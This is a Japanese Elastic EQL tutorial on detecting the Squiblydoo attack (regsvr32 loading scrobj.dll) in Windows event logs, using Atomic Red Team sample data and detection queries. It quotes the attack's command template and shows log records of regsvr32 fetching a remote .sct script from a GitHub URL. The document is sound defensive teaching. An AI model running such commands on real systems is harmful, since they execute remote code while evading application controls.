例: EQLを使用して脅威を検出する
この例のチュートリアルでは、EQLを使用してセキュリティ脅威やその他の疑わしい行動を検出する方法を示します。このシナリオでは、Windowsイベントログにおける[https://attack.mitre.org/techniques/T1218/010/]の検出を担当しています。
https://attack.mitre.org/techniques/T1218/010/の一般的な変種の1つは[https://attack.mitre.org/techniques/T1218/010/]です。Squiblydoo攻撃では、`````regsvr32.exe`````コマンドが`````scrobj.dll`````ライブラリを使用してリモートスクリプトを登録および実行します。これらのコマンドは通常、次のようになります:
``````sh
"regsvr32.exe /s /u /i:<script-url> scrobj.dll"
`
セットアップ
始めるには:
- 1. インデックステンプレートを作成し、データストリームを有効にする:
Python
resp = client.indices.put_index_template(
name="my-data-stream-template",
index_patterns=[
"my-data-stream*"
],
data_stream={},
priority=500,
)
print(resp)
Ruby
response = client.indices.put_index_template(
name: 'my-data-stream-template',
body: {
index_patterns: [
'my-data-stream*'
],
data_stream: {},
priority: 500
}
)
puts response
Js
const response = await client.indices.putIndexTemplate({
name: "my-data-stream-template",
index_patterns: ["my-data-stream*"],
data_stream: {},
priority: 500,
});
console.log(response);
コンソール
PUT /_index_template/my-data-stream-template
{
"index_patterns": [ "my-data-stream*" ],
"data_stream": { },
"priority": 500
}
- 2.
normalized-T1117-AtomicRed-regsvr32.json
をダウンロードします。 - 3. バルクAPIを使用して、データを一致するストリームにインデックスします:
curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-data-stream/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
- 4. cat indices APIを使用して、データがインデックスされたことを確認します:
Python
resp = client.cat.indices(
index="my-data-stream",
v=True,
h="health,status,index,docs.count",
)
print(resp)
Ruby
response = client.cat.indices(
index: 'my-data-stream',
v: true,
h: 'health,status,index,docs.count'
)
puts response
Js
const response = await client.cat.indices({
index: "my-data-stream",
v: "true",
h: "health,status,index,docs.count",
});
console.log(response);
コンソール
GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count
応答には、docs.count
の150
が表示されるはずです。
Txt
health status index docs.count
yellow open .ds-my-data-stream-2099.12.07-000001 150
regsvr32イベントのカウントを取得する
まず、regsvr32.exe
プロセスに関連するイベントのカウントを取得します:
Python
resp = client.eql.search(
index="my-data-stream",
filter_path="-hits.events",
query="\n any where process.name == \"regsvr32.exe\" \n ",
size=200,
)
print(resp)
Js
const response = await client.eql.search({
index: "my-data-stream",
filter_path: "-hits.events",
query: '\n any where process.name == "regsvr32.exe" \n ',
size: 200,
});
console.log(response);
コンソール
GET /my-data-stream/_eql/search?filter_path=-hits.events
{
"query": """
any where process.name == "regsvr32.exe"
""",
"size": 200
}
?filter_path=-hits.events は、レスポンスからhits.events プロパティを除外します。 この検索は、イベントのリストではなく、イベントのカウントを取得することを目的としています。 |
|
process.name がregsvr32.exe のイベントに一致します。 |
|
一致するイベントの最大200件を返します。 |
コンソール-結果
{
"is_partial": false,
"is_running": false,
"took": 60,
"timed_out": false,
"hits": {
"total": {
"value": 143,
"relation": "eq"
}
}
}
コマンドラインアーティファクトを確認する
#### Python
``````python
resp = client.eql.search(
index="my-data-stream",
query="\n process where process.name == \"regsvr32.exe\" and process.command_line.keyword != null\n ",
)
print(resp)
`
Js
const response = await client.eql.search({
index: "my-data-stream",
query:
'\n process where process.name == "regsvr32.exe" and process.command_line.keyword != null\n ',
});
console.log(response);
コンソール
GET /my-data-stream/_eql/search
{
"query": """
process where process.name == "regsvr32.exe" and process.command_line.keyword != null
"""
}
クエリは、event.type
がcreation
のイベントに一致し、regsvr32.exe
プロセスの開始を示します。イベントのprocess.command_line
値に基づいて、regsvr32.exe
はscrobj.dll
を使用してスクリプトRegSvr32.sct
を登録しました。これはSquiblydoo攻撃の動作に適合します。
コンソール-結果
{
...
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"events": [
{
"_index": ".ds-my-data-stream-2099.12.07-000001",
"_id": "gl5MJXMBMk1dGnErnBW8",
"_source": {
"process": {
"parent": {
"name": "cmd.exe",
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
"executable": "C:\\Windows\\System32\\cmd.exe"
},
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
"executable": "C:\\Windows\\System32\\regsvr32.exe",
"ppid": 2652
},
"logon_id": 217055,
"@timestamp": 131883573237130000,
"event": {
"category": "process",
"type": "creation"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
}
}
}
]
}
}
悪意のあるスクリプトの読み込みを確認する
#### Python
``````python
resp = client.eql.search(
index="my-data-stream",
query="\n library where process.name == \"regsvr32.exe\" and dll.name == \"scrobj.dll\"\n ",
)
print(resp)
`
Js
const response = await client.eql.search({
index: "my-data-stream",
query:
'\n library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"\n ',
});
console.log(response);
コンソール
GET /my-data-stream/_eql/search
{
"query": """
library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
"""
}
クエリはイベントに一致し、scrobj.dll
が読み込まれたことを確認します。
コンソール-結果
{
...
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"events": [
{
"_index": ".ds-my-data-stream-2099.12.07-000001",
"_id": "ol5MJXMBMk1dGnErnBW8",
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573237450016,
"dll": {
"path": "C:\\Windows\\System32\\scrobj.dll",
"name": "scrobj.dll"
},
"event": {
"category": "library"
}
}
}
]
}
}
成功の可能性を判断する
多くの場合、攻撃者は悪意のあるスクリプトを使用してリモートサーバーに接続したり、他のファイルをダウンロードしたりします。[@@38d25857bc9a9de1.md#eql-sequences]を使用して、次の一連のイベントを確認します:
- 1.
regsvr32.exe
プロセス - 2. 同じプロセスによる
scrobj.dll
ライブラリの読み込み - 3. 同じプロセスによる任意のネットワークイベント
前の応答で見られたコマンドライン値に基づいて、一致が見つかることが期待されます。ただし、このクエリはその特定のコマンドを対象としていません。代わりに、類似の脅威を検出するのに十分一般的な疑わしい行動のパターンを探します。
Python
resp = client.eql.search(
index="my-data-stream",
query="\n sequence by process.pid\n [process where process.name == \"regsvr32.exe\"]\n [library where dll.name == \"scrobj.dll\"]\n [network where true]\n ",
)
print(resp)
Js
const response = await client.eql.search({
index: "my-data-stream",
query:
'\n sequence by process.pid\n [process where process.name == "regsvr32.exe"]\n [library where dll.name == "scrobj.dll"]\n [network where true]\n ',
});
console.log(response);
コンソール
GET /my-data-stream/_eql/search
{
"query": """
sequence by process.pid
[process where process.name == "regsvr32.exe"]
[library where dll.name == "scrobj.dll"]
[network where true]
"""
}
クエリはシーケンスに一致し、攻撃が成功した可能性が高いことを示しています。
コンソール-結果
{
...
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"sequences": [
{
"join_keys": [
2012
],
"events": [
{
"_index": ".ds-my-data-stream-2099.12.07-000001",
"_id": "gl5MJXMBMk1dGnErnBW8",
"_source": {
"process": {
"parent": {
"name": "cmd.exe",
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
"executable": "C:\\Windows\\System32\\cmd.exe"
},
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
"executable": "C:\\Windows\\System32\\regsvr32.exe",
"ppid": 2652
},
"logon_id": 217055,
"@timestamp": 131883573237130000,
"event": {
"category": "process",
"type": "creation"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
}
}
},
{
"_index": ".ds-my-data-stream-2099.12.07-000001",
"_id": "ol5MJXMBMk1dGnErnBW8",
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573237450016,
"dll": {
"path": "C:\\Windows\\System32\\scrobj.dll",
"name": "scrobj.dll"
},
"event": {
"category": "library"
}
}
},
{
"_index": ".ds-my-data-stream-2099.12.07-000001",
"_id": "EF5MJXMBMk1dGnErnBa9",
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573238680000,
"destination": {
"address": "151.101.48.133",
"port": "443"
},
"source": {
"address": "192.168.162.134",
"port": "50505"
},
"event": {
"category": "network"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
},
"network": {
"protocol": "tcp",
"direction": "outbound"
}
}
}
]
}
]
}
}